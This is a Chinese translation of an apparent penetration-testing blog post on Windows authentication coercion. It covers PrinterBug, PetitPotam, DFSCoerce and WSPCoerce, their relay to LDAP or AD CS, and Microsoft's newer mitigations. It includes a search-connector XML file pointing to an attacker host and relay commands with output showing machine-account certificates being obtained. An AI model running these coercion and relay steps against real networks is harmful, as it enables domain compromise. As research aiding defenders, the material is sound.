Windows 强制认证技术终极指南 2025

THE ULTIMATE GUIDE TO WINDOWS COERCION TECHNIQUES IN 2025

免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

Windows 认证强制技术（Authentication Coercion）在对抗普通 Active Directory 时往往如同银弹一般有效。通过任意一个低权限账户，我们通常能够获得对几乎所有 Windows 工作站和服务器的完全管理权限，之后攻陷整个 Active Directory 只是时间问题。因此，微软在最近的 Windows 版本中实施了各种变更以缓解这种攻击向量也就不足为奇了。在本博客中，我们将提供 Windows 域中强制认证技术的全面参考，并讨论其当前有效性、特殊性和典型应用场景。我们还将解释我们最近对 Impacket 和 NetExec 的补丁如何帮助绕过微软的一些新缓解措施，并展示一个目前尚未广泛使用的强制认证技术实现。

在深入探讨当前认证强制技术的现状之前，我们想先概述一下什么是认证强制技术，以及它与密切相关的中继攻击（Relay Attacks）之间的关系。如果您已经熟悉强制认证技术，可以跳过本博客的下一部分。然后，我们将讨论在重放强制会话时遇到的障碍。由于这些障碍和保护机制在最近的 Windows 版本中得到了加强，它们对于理解当前强制认证技术的现状至关重要。最后，我们将详细分析每种强制认证技术、其适用性以及现有缓解技术对其的影响。

为什么要使用强制认证？

强制认证技术与中继攻击密不可分。在本博客中，我们假设您已经了解什么是中继攻击。如果不是这样，我们可以推荐一些优秀的博客文章来帮助您入门。对于 NTLM 中继，我们认为 hackndo 对 NTLM 中继的出色解释是一个理想的起点，同时还有我们关于使用 pretender 获取中间人位置的博客文章。Kerberos 中继在 James Forshaw 为 Google Project Zero 奠定研究基础后，也发展成为一个日益庞大的领域。此后，许多提出的攻击已被成功实现和记录，例如 Dirk-jan Mollema 关于使用 DNS 动态更新的 Kerberos 中继技术的博客文章，或 Synacktiv 关于利用 CredUnmarshalTargetInfo 函数和 LLMNR 欺骗的文章。

说到这里，让我们来谈谈强制认证在其中的作用。毕竟，NTLM 和 Kerberos 中继攻击都可以通过使用 pretender、Responder 或 mitm6 等工具利用名称解析协议来很好地工作。事实上，强制认证和名称解析攻击在进行中继攻击时各有其位置和用途，因为它们具有相当不同的优势和局限性。

名称解析攻击（即 mDNS、LLMNR 和 NetBIOS 名称解析欺骗，以及 DHCPv6 DNS 接管）可以在没有用户账户的情况下执行。因此，它们可以成为开始渗透测试并获得初始立足点的绝佳策略。然而，哪些会话可以被中继以及它们可以被中继到哪些目标，往往取决于运气。在许多情况下，使用这些技术已经可以获得广泛的访问权限，但有时您已经识别出特定的高价值机器想要攻陷，却始终无法获得合适的会话。这可能是由于运气不好，或者因为我们只能从我们自己网络段中接收我们广播或多播消息的计算机上的账户获取会话。

这就是强制认证发挥作用的地方，因为它允许您锁定特定机器并执行中继攻击，通常可以获得对该机器的完全管理权限。然而，强制认证攻击需要访问域用户账户，尽管是任意低权限账户。因此，我们倾向于将强制认证视为在获得此类账户后的逻辑下一步，例如通过基于名称解析的中继攻击。具体来说，可以通过对 LDAP 执行基于名称解析的中继攻击，利用 ms-DS-MachineAccountQuota 创建新的计算机账户，或者通过中继的计算机账户会话修改 msDS-KeyCredentialLink（影子凭证攻击）来获得此类账户。

在获得此类账户后，可以将其用于连接到选定 Windows 计算机的各种远程过程调用（RPC）API，并调用强制计算机连接到攻击系统并使用相应计算机账户进行认证的函数，因此称为强制认证。当找到合适的中继目标时，这些连接就可以被中继。

一方面，这使我们能够选择要中继谁的会话（甚至可以跨网络边界），但另一方面，我们只能获得计算机账户会话。这引出了下一个重要问题：

乍看之下，从攻击者的角度来看，计算机账户似乎并不吸引人，因为它们不太可能拥有可用于横向移动的特殊权限。但有利的一面是，计算机账户通常很容易获取，因为在默认配置下，任何域用户都可以创建最多 10 个计算机账户（参见 ms-DS-MachineAccountQuota）。

然而，当我们讨论属于实际计算机的计算机账户时，仔细研究会发现这些账户的能力远超表面所见。计算机账户是高权限账户 NT AUTHORITYSYSTEM（或 NT AUTHORITYNETWORK SERVICE）与 Active Directory 交互时使用的凭据集。不过，计算机账户和 NT AUTHORITYSYSTEM 仍然是两个独立的概念。因此，当您使用计算机账户向相应计算机进行身份验证时，您获得的是低权限会话，而不是高权限的 NT AUTHORITYSYSTEM 会话。既然如此，我们为什么还要关注计算机账户呢？答案是_身份模拟_。

虽然在使用被攻陷的计算机账户进行身份验证时，我们只能获得低权限访问，但该账户可以为其对应的计算机请求强大的 Kerberos 模拟票据。这通常可以通过两种技术实现：

• S4U2Self 滥用： 对于这种技术，我们首先需要获取计算机账户的凭据。这可以通过将强制认证中继到 LDAP 来创建 KeyCredentialLink（影子凭证），或者通过针对 Active Directory 证书服务（AD CS）服务器的中继攻击利用 ESC8 或 ESC11 来实现。获得凭据后，就可以通过 S4U2Self 滥用获取模拟票据，从而模拟具有计算机本地管理员权限的域用户（可能有限制）。

• 基于资源的约束委派（RBCD）： 这种技术要求攻击者已经获取了另一个计算机账户（我们称之为 computer1$），它不必对应实际的计算机（技术上，普通用户账户也可以使用无 SPN 的 RBCD）。然后，可以将目标计算机（computer2$）的强制认证中继到 LDAP，为已控制的计算机账户（computer1$）配置基于资源的约束委派（RBCD）。这意味着目标计算机（computer2$）的计算机账户允许攻击者控制的另一个计算机账户（computer1$）为该计算机请求模拟票据。最后，可以请求这样的票据来模拟具有计算机管理员访问权限的域用户（同样，可能有限制）。

虽然这些技术在细节上相当复杂，但存在优秀且免费可用的实现，使攻击者可以轻松使用它们。它们展示了计算机账户实际上确实拥有对相应计算机的管理员访问权限，即使乍看之下并非如此。由于我们可以在执行认证强制时选择目标计算机，因此如果攻击成功，我们就可以选择获得哪台计算机的管理员访问权限。有了这些信息，只能通过强制中继计算机账户会话的想法似乎并不那么糟糕，对吧？

我们还想简要提一下域控制器计算机账户。如果您能够强制域控制器进行认证并将其中继到 LDAP 或 AD CS，则不需要任何模拟技巧，因为这些账户具有 DCSync 权限，可以直接利用这些权限从域控制器下载所有用户的 NT 哈希和 Kerberos 密钥。这使得域控制器计算机账户成为高价值目标，一旦被攻陷，就可以直接获得对域的完全访问权限。

我们面临哪些障碍？

在明确了强制认证（Coercion）的概念及其目标后，我们需要在深入讨论具体技术之前，先了解可能阻碍我们实现这些目标的障碍。

由于强制认证攻击本质上是中继攻击（Relay Attacks），这些障碍主要来自微软为弥补古老的 NTLM 认证协议缺陷而实施的中继攻击缓解措施。理解这些缓解措施的作用至关重要，因为随着微软在较新的 Windows 版本中默认启用更多保护措施，它们变得越来越普遍。需要注意的是，我们讨论的 Windows 版本之间的默认设置变更仅适用于全新安装。在升级 Windows 版本时，通常仍会保留旧的默认设置。以下讨论的缓解措施同时适用于 NTLM 和 Kerberos 协议。

通道绑定（Channel Binding）是针对 TLS 加密服务（如 LDAPS 或 HTTPS）的中继攻击的缓解措施。在 IIS 等 HTTPS 服务器的上下文中，微软通常称之为扩展认证保护（Extended Protection for Authentication，EPA）。启用后，服务必须在其 NTLM 客户端挑战或 Kerberos 的 AP_REQ 消息认证器中包含底层连接的 TLS 服务器证书指纹。下图展示了 Wireshark 中的通道绑定信息：

如果我们要中继的会话最初并非针对 TLS 服务，则不会包含指纹，认证将失败。如果我们接受来自 TLS 服务器的传入会话，客户端将包含我们的证书指纹，中继目标将拒绝它，从而有效防止中继攻击。

在强制认证的上下文中，我们对 LDAPS 目标（用于 RBCD 或影子凭证攻击）以及 Active Directory 证书服务（AD CS）的 HTTPS Web 注册 API（用于 ESC8 攻击）感兴趣。幸运的是，通道绑定通常可以通过使用非 TLS 协议（如 LDAP 或 HTTP）来轻松绕过。然而，对于未加密的 LDAP，其他保护措施可能适用（稍后将详细讨论）。

长期以来，通道绑定和 EPA 默认是禁用的，也很少手动启用。然而，从 Windows Server 2022 23H2 开始，LDAP 通道绑定默认启用，在 Windows Server 2025 中，EPA 默认启用，未加密的 AD CS Web 注册 API 默认禁用。

*未测试

非 TLS 协议也可以通过安全支持提供程序接口（SSPI）实现消息签名和加密（有时称为密封）。在这种情况下，每个消息都使用 NTLM 或 Kerberos 认证期间派生的临时密钥进行签名或加密。在中继攻击中，认证可能成功，但攻击者永远无法获得这个派生密钥。因此，攻击者既不能签名也不能加密认证后的消息，需要签名或加密的中继目标将拒绝来自攻击者的未签名或未加密消息。对于攻击者来说，签名和加密的区别并不重要，因为只要中继目标需要其中任何一种，中继攻击就会失败。

然而，需要理解的一个重要方面是，只有服务器端的签名/加密策略与中继攻击的成功相关，而不是客户端的策略。如果客户端需要签名或加密，我们仍然能够中继认证，因为认证消息尚未签名，签名/加密密钥也尚未派生。认证后我们无法与客户端通信，但我们也不需要这样做，因为此时我们只关心中继目标的连接。然而，如果中继目标需要签名/加密，我们虽然拥有认证会话，但我们的消息将被拒绝，使其变得无用。

认证包（如 NTLM 或 Kerberos）本身可以在其认证消息中指示是否支持签名或加密。然而，SMB 实际上执行自己的签名/加密协商。因此，SMB 配置而非认证包决定签名是禁用、启用但可选还是必需：

在中继攻击中，这允许我们在接受来自需要签名/加密的客户端的 SMB 会话时声称支持签名/加密，并让其认证，因为认证本身尚不需要签名/加密。

对于 LDAP，情况则不同。与 SMB 类似，LDAP 服务器可能要求签名，也可能不要求，从而允许或阻止中继攻击。然而，LDAP 无法在客户端和服务器之间协商签名。对攻击者来说，一个不幸的后果是，即使服务器最初不要求签名，只要认证包在认证消息中指示支持签名，签名就会被机会性地启用。这意味着我们只能成功中继那些认证包声称不支持签名的客户端的会话。我们将在下一节回到这个方面，但首先让我们看看消息签名的默认设置现状。

服务器端 SMB 签名在域控制器上已经启用了很长时间。然而，从 Windows 11 24H2 开始，微软在工作站上对传入的 SMB 连接启用了服务器端 SMB 签名。也就是说，在非 DC 的 Windows 服务器上，服务器端 SMB 签名默认仍然不是必需的，这可能是为了支持需要访问 SMB 共享但不支持签名的遗留实现。SMB 的默认设置列在微软文档中。dsinternals 总结了最近的变化。与 LDAPS 的通道绑定类似，从 Windows Server 2022 23H2 DC 开始，LDAP 签名默认启用。

如前所述，针对 LDAP 服务器的中继攻击，传入的认证消息绝对不能指示支持签名。由于 LDAP 是强制认证攻击最重要的中继目标之一，这就引出了一个问题：我们如何获得合适的认证消息？

例如，要生成包含不指示签名支持的 NTLM 认证消息的 SMB 连接，需要完全禁用 SMB 签名。在现实中很难找到这样的配置，因此我们不应指望这一点。

然而，由于某些原因，我们仍然偶尔会遇到启用了古老的 NTLMv1 协议的主机。这可能是旧域中的典型遗留配置。在这种情况下，NTLM 消息中指示签名支持的位可以在中继攻击期间简单地翻转，因为它不像 NTLMv2 那样受到加密保护。Impacket 的 ntlmrelayx.py 示例中的 --remove-mic 选项会作为副作用实现这一点。或者，NTLMv1 的加密强度足够弱，可以使用彩虹表 暴力破解，从而获得计算机账户的 NT 哈希，完全不需要中继会话。然而，由于 NTLMv1 现在很少见，并且在启用 Credential Guard 时会被强制禁用，我们也不能真正依赖它。

相反，我们最好的选择是传入的 HTTP 连接。由于 HTTP 协议根本不支持基于 SSPI 的请求签名，认证包也不会指示签名支持：

这意味着，为了能够可靠地中继到 LDAP 服务器，我们需要接收传入的 HTTP 连接。幸运的是，我们通常可以在强制认证攻击中影响协议。

要从计算机强制 HTTP 请求，需要 WebClient 服务（有时称为 WebDAV 重定向器）在该计算机上运行。该服务允许用户和应用程序访问 WebDAV 共享，例如在 Windows 资源管理器中。根据所选强制认证技术的内部机制，强制连接利用此服务发送认证的 HTTP 请求，但前提是 WebClient 服务在此时已经运行。那么，该服务在任何给定计算机上运行的可能性有多大，我们能否以某种方式影响它？

首先，WebClient 服务显然需要被安装。在 Windows 工作站上，WebClient 服务默认已安装。相比之下，在 Windows 服务器上，它默认未安装，但可以在非 Core 服务器上作为附加功能手动安装。遗憾的是，该服务是按需激活而非自动启动，因此在新启动的计算机上不会运行。那么"按需"在实际中是什么样子的呢？当挂载 WebDAV 驱动器时它会激活，但在文件资源管理器的搜索栏中输入任意文本并按下回车键也足以激活它。此外，某些应用程序如 SharePoint 往往会激活该服务。因此，在典型的工作站上，WebClient 服务很可能在一天中的某个时刻被启动。

但还有更多。如果我们对计算机具有可写共享的访问权限，我们实际上可以从外部影响服务的激活。在这种情况下，我们可以创建一个扩展名为 .searchConnecter-ms 的 XML 文件，其中包含一个 URL，以及类似技术。一旦显示此类文件，WebClient 服务就会被激活，并建立到 URL 的认证连接。在某种程度上，这本身就是一种强制认证技术，但它使用的是当前用户的凭据而非计算机账户凭据。这有其自身的优势，但在本文的上下文中，我们主要关注计算机账户的强制认证。因此，我们使用此技术来激活 WebClient 服务。下面展示了一个包含攻击者指定 URL 的此类文件的模板：

<?xml version="1.0" encoding="UTF-8"?><searchConnectorDescriptionxmlns="http://schemas.microsoft.com/windows/2009/searchConnector">    <description>Microsoft Outlook</description>    <isSearchOnlyItem>false</isSearchOnlyItem>    <includeInStartMenuScope>true</includeInStartMenuScope>    <templateInfo>        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>    </templateInfo>    <simpleLocation>        <url>http://attacksystem/path</url>    </simpleLocation></searchConnectorDescription>

我们也可以验证 WebClient 服务是否正在计算机上运行，因为它在启动时会打开一个命名管道 (named pipe)，我们可以通过检测这个管道来判断。这个检查功能已在 NetExec 工具的 webdav 模块中实现。

遗憾的是，由于 WebClient 服务在服务器上默认未安装，且需要通过用户交互来激活，因此从工作站强制 HTTP 连接的可能性远大于从服务器。尽管如此，能够通过此技术入侵工作站对于横向移动仍然非常宝贵，我们主要依赖它来实现针对 LDAP 的中继攻击。

如果 WebClient 服务确实在目标主机上运行，攻击者还需要注意该服务的另一个细节：它只有在合理确定目标服务器位于内网区域而非互联网时才会尝试进行身份验证。它采用了一种启发式方法，检查目标是否使用需要通过本地名称解析或域内 DNS 解析的主机名来指定。然而，由于攻击者已经需要拥有一个账户来执行强制认证，他们可以使用该账户在域内为其攻击系统注册 DNS 记录，例如使用 krbrelayx 中的 dnstool.py。为了确保实际使用 HTTP 协议，必须在主机名（不带域后缀）旁边指定端口和虚构的共享名称，如下所示（注意某些工具会自动添加前导反斜杠）：

\attacksystem@80share

强制认证方法

经过前面的铺垫，我们终于可以开始讨论和比较各种强制认证技术了。如前所述，我们的重点是使用任何低权限账户来强制建立可中继的计算机账户会话，因此不会涉及需要特权账户的强制认证方法，例如 RemoteMonologe。

本文讨论的所有强制认证方法都基于可以通过 DCERPC 远程访问的 RPC API。根据具体技术的不同，API 可以通过 SMB 上的命名管道访问 DCERPC，或者直接通过端口映射器 (raw DCERPC) 访问，或者两者兼用。

如果我们能够通过 SMB 进行强制认证，那么是否可以对选定计算机的 SMB 服务器执行普通的未认证中继攻击（例如通过 mDNS 或 DHCPv6 DNS 接管），然后利用该连接从该中继目标强制建立计算机会话？遗憾的是，答案是否定的，因为即使 SMB 服务器不需要签名，DCERPC 接口本身也需要签名，因此我们确实需要事先拥有一个账户，尽管是低权限账户。

我们将介绍的强制认证技术包括基于 MS-RPRN 的 PrinterBug、基于 MS-EFSR 的 PetitPotam、基于 MS-DFSNM 的 DFS Coercion，以及基于 MS-WSP 的 WSP Coercion。还有其他一些针对特定服务器和应用程序的强制认证方法，只需要低权限账户即可，但这些技术已经覆盖了大多数情况。

其中一些技术只允许我们强制建立 SMB 连接，而另一些技术则允许我们强制建立 SMB 和 HTTP 连接（前提是 WebClient 服务正在运行）。同样，有些技术始终可用，而有些技术只在特定情况下可用。我们将在深入讨论每种技术时再次讨论这些细节。但首先，我们想概述一下每种强制认证技术针对使用默认配置的服务器的中继能力。

在 Windows 11 24H2 和 Windows Server 2022 23H2 之前，几乎没有什么能阻止我们将强制建立的连接中继到任何我们想要的目标。遗憾的是，在 Windows 11 24H2、Server 2022 23H2 和 2025 中，情况看起来相当严峻。这主要是由于工作站默认启用了 SMB 签名，以及服务器默认启用了 LDAP 签名、LDAP 通道绑定和 EPA（自 2025 年起）。

然而，实际上目前的情况并没有听起来那么糟糕。这些默认设置仅适用于全新安装，而不适用于升级安装，而且仍然有大量 Windows 10 和 Server 2019 机器在使用中。

此外，本文不仅旨在总结当前状态，我们还希望展示我们的工作，以确保现有的强制认证技术能够在最近的更改后继续工作。但首先，以下是强制认证技术及其能力的概述：

• 在 Windows 11 22H2 或 Windows Server 2025 之前，使用 SMB/HTTP，之后仅使用 raw DCERPC  服务按需运行  服务可以安装

在 2018 年 DerbyCon 大会的演讲中，@tifkin_（Lee Christensen）、@harmj0y（Will Schroeder）和 @enigma0x3（Matt Nelson）首次展示了通过打印系统远程协议接口（MS-RPRN）暴露的多个易受攻击功能，强制 Windows 主机向其他机器进行身份验证的可能性。该技术最初在 SpoolerSample 中实现。

用于强制认证的方法通常用于监控打印机更改和向远程打印客户端发送通知，在强制认证用例中，这些客户端通常就是我们的攻击系统。

MS-RPRN 接口通常通过 DCERPC 在大多数工作站和服务器上可用，只有 Windows Server Core 默认不包含它。此外，Microsoft 建议在服务器上禁用它。

在 Windows 11 22H2 和 Windows Server 2025 之前的版本中，它可用于通过 SMB 甚至 HTTP（如果 WebClient 服务正在运行）强制建立连接。在 Windows 11 22H2 和 Windows Server 2025 之后，默认情况下仅通过 raw DCERPC 建立连接，不再尝试 SMB 或 HTTP。这最初导致攻击失败，因为诸如 ntlmrelayx.py 之类的工具无法接受和中继传入的 raw DCERPC 连接。

为了仍然能够利用 DCERPC 连接，我们修改了 ntlmrelayx.py：Sylvain Heiniger 已经在其关于 DCOM 中继的博客文章中实现了一个 RPC 服务器，通过添加一个简单的端点映射器（EPM）服务，如果未启用 EPA，该方法仍然可以中继到 AD CS 服务器的 ESC8 漏洞：

$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -smb2support --adcs[...][*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0[*] RPCD: Received connection from 192.0.2.115, attacking target http://192.0.2.5[+] RPC: Received packet of type MSRPC BIND[+] Answering to a BIND without authentication[+] RPC: Received packet of type MSRPC REQUEST[+] RPC: Sending packet of type MSRPC RESPONSE[*] Callback added for UUID 99FCFEC4-5260-101B-BBCB-00AA0021347A V:0.0[*] Callback added for UUID E1AF8308-5D1F-11C9-91A4-08002B14A0FA V:3.0[*] RPCD: Received connection from 192.0.2.115, attacking target http://192.0.2.5[+] RPC: Received packet of type MSRPC BIND[+] RPC: Sending packet of type MSRPC BINDACK[+] RPC: Received packet of type MSRPC AUTH3[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://192.0.2.5 as LABWIN11VM$ SUCCEED[+] RPC: Sending packet of type MSRPC FAULT[+] RPC: Received packet of type MSRPC REQUEST[+] RPC: Sending packet of type MSRPC FAULT[*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE! ID 16[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx[*] Certificate successfully written to file[+] RPC: Connection closed by client

2021 年，@topotam77 发布了 PetitPotam，这是另一种类似于 PrinterBug 的强制认证方法，通过加密文件系统远程协议接口（MS-EFSRPC）实现。在漏洞公开后，人们发现该技术甚至可以在_无需任何凭证_的情况下针对域控制器执行（CVE-2021-36942），使得攻击者能够轻松地完全控制整个域。当然，Microsoft 已经修补了这一漏洞，现在该技术和其他攻击一样需要低权限账户才能执行。

用于强制认证的方法与加密文件系统（EFS）相关，例如添加用户以读取加密文件。该接口暴露了多个易受攻击的功能。Microsoft 已经修补了其中一些漏洞，但似乎放弃了继续修补，其他易受攻击的功能仍然可以被利用。

该强制认证技术同时支持 SMB 和 HTTP 连接。在 23H2 更新之前，相关接口既可以通过 raw DCERPC 访问，也可以通过 SMB 上的命名管道访问。然而，自 23H2 起，该服务默认不启用，而是像 WebClient 服务一样按需激活。由于 EFS 功能在实际中很少使用，它被启用的可能性远低于 WebClient 服务。因此，这一更新阻止了许多强制认证攻击。

然而，故事并未就此结束。由于我们非常喜欢这项技术，我们尝试找出可能触发该服务的方法。例如，当创建新的加密文件或访问包含加密文件的文件夹时，该服务会被激活。创建加密文件也可以远程完成。我们在 NetExec 的 efsr_spray 模块中实现了自动化，该模块尝试在每个 SMB 共享上创建加密文件。对于激活服务来说，并不需要实际拥有创建文件的 NTFS 权限，似乎只有 SMB 的 WRITE 或 MODIFY 权限是相关的。因此，即使用户在文件系统层没有权限导致创建失败，攻击仍然可以成功。不仅如此：即使用户只有对打印队列的 WRITE 访问权限，在尝试创建文件时也会激活该服务。我们又回到了游戏中！

在以下示例中，使用 PDFCreator 共享（具有 PRINTQ 类型）通过 efsr_spray 模块激活 efsrpc 管道：

$ nxc smb -u rtpttest -p 'test1234!' -d lab.redteam --shares -- 192.0.2.115SMB         192.0.2.115  445    WIN11VM          [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:lab.redteam) (signing:False) (SMBv1:False)SMB         192.0.2.115  445    WIN11VM          [+] lab.redteamrtpttest:test1234!SMB         192.0.2.115  445    WIN11VM          [*] Enumerated sharesSMB         192.0.2.115  445    WIN11VM          Share           Permissions     RemarkSMB         192.0.2.115  445    WIN11VM          -----           -----------     ------SMB         192.0.2.115  445    WIN11VM          ADMIN$                          Remote AdminSMB         192.0.2.115  445    WIN11VM          C$                              Default shareSMB         192.0.2.115  445    WIN11VM          IPC$            READ            Remote IPCSMB         192.0.2.115  445    WIN11VM          PDFCreator      WRITE           PDFCreator PrinterSMB         192.0.2.115  445    WIN11VM          print$          READ            Printer Drivers$ nxc smb -u rtpttest -p 'test1234!' -d lab.redteam -M efsr_spray -- 192.0.2.115SMB         192.0.2.115  445    WIN11VM          [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:lab.redteam) (signing:False) (SMBv1:False)SMB         192.0.2.115  445    WIN11VM          [+] lab.redteamrtpttest:test1234!EFSR_SPRAY  192.0.2.115  445    WIN11VM          Successfully activated efsrpc named pipe!

2022 年，Filip Dragovic 发布了 DFSCoerce（由@xct_de 发现），这是另一种类似于 Printerbug 的强制认证方法，通过分布式文件系统命名空间管理协议接口（MS-DFSNM）实现。

用于强制认证的方法与分布式文件系统命名空间相关，且仅在服务器上可用。该方法只能用于强制 SMB 连接。

2023 年，Simon Lemire 发布了 WSPCoerce，通过 MS-WSP 接口实现强制认证。该方法与 Windows 搜索协议（Windows Search Protocol）相关，该协议用于文件查询和索引。wsearch 服务默认仅在工作站上启用，自 Server 2016 起在服务器上默认禁用。然而，当使用搜索栏时，系统会提示用户启用该服务，这可能会促使管理员启用该服务：

与 DFS 强制认证类似，WSP 也只能用于强制 SMB 连接。使用这两种方法，如果我们只对 SMB 连接感兴趣，我们可以同时针对服务器和工作站进行强制认证。

由于原始的概念验证（proof-of-concept）只能在 Windows 机器上执行，我们基于 Impacket 开发了一个 Python 实现，名为 wspcoerce：

$ wspcoerce 'lab.redteam/rtpttest:[email protected]' "file:////attacksystem/share"Impacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra[*] Connected to IPC$[*] Opened MsFteWds pipe[*] Sent WSP Connect[*] Sent WSP Query[*] Sent WSP Disconnect$ ntlmrelayx.py -t "http://192.0.2.5/certsrv/" -debug -6 -smb2support --adcs[...][*] SMBD-Thread-6 (process_request_thread): Received connection from 192.0.2.115, attacking target http://192.0.2.5[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED[*] SMBD-Thread-8 (process_request_thread): Received connection from 192.0.2.115, attacking target http://192.0.2.5[*] HTTP server returned error code 200, treating as a successful login[*] Authenticating against http://192.0.2.5 as LAB/WIN11VM$ SUCCEED[*] Generating CSR...[*] CSR generated![*] Getting certificate...[*] GOT CERTIFICATE! ID 17[*] Writing PKCS#12 certificate to ./WIN11VM$.pfx[*] Certificate successfully written to file[*] Skipping user WIN11VM$ since attack was already performed

结论

尽管微软做出了诸多努力，但到了 2025 年，强制认证（Coercion）技术依然活跃，并且仍然是攻陷典型 Windows 域中大量计算机的最快方法之一。诚然，由于新安装的系统默认启用了缓解措施，攻击者的未来看起来相当不确定，但大多数攻击仍然有效——尽管有了新的限制——至少目前如此。

我们也希望强调，安全专业人员深入了解我们使用的技术和工具是多么有价值。毕竟，我们的使命是识别客户系统中的相关安全漏洞。因此，我们需要能够对微软的变化做出反应——我们不希望被自己的工具所限制，而是被目标的安全级别所限制。我们的工作是让人们认识到兼容性驱动的妥协所带来的现实成本和风险，因此我们将继续寻找部分缓解措施的变通方案，直到每项服务都要求签名或通道绑定，并且 NTLM 彻底消失为止。

我们确信，未来将会发现新的强制认证技术以及对现有缓解措施的额外变通方案。这一点尤其重要，因为人们发现强制认证在 Kerberos 中继攻击（Kerberos relaying attacks）中也可以发挥关键作用，当 NTLM 最终被默认禁用时，这种攻击将占据更重要的地位。因此，Kerberos 中继与强制认证一起成为了一个重要话题，目前正在进行令人兴奋的新研究。当然，我们也会参与其中，所以请务必关注我们未来关于这些主题的博客文章！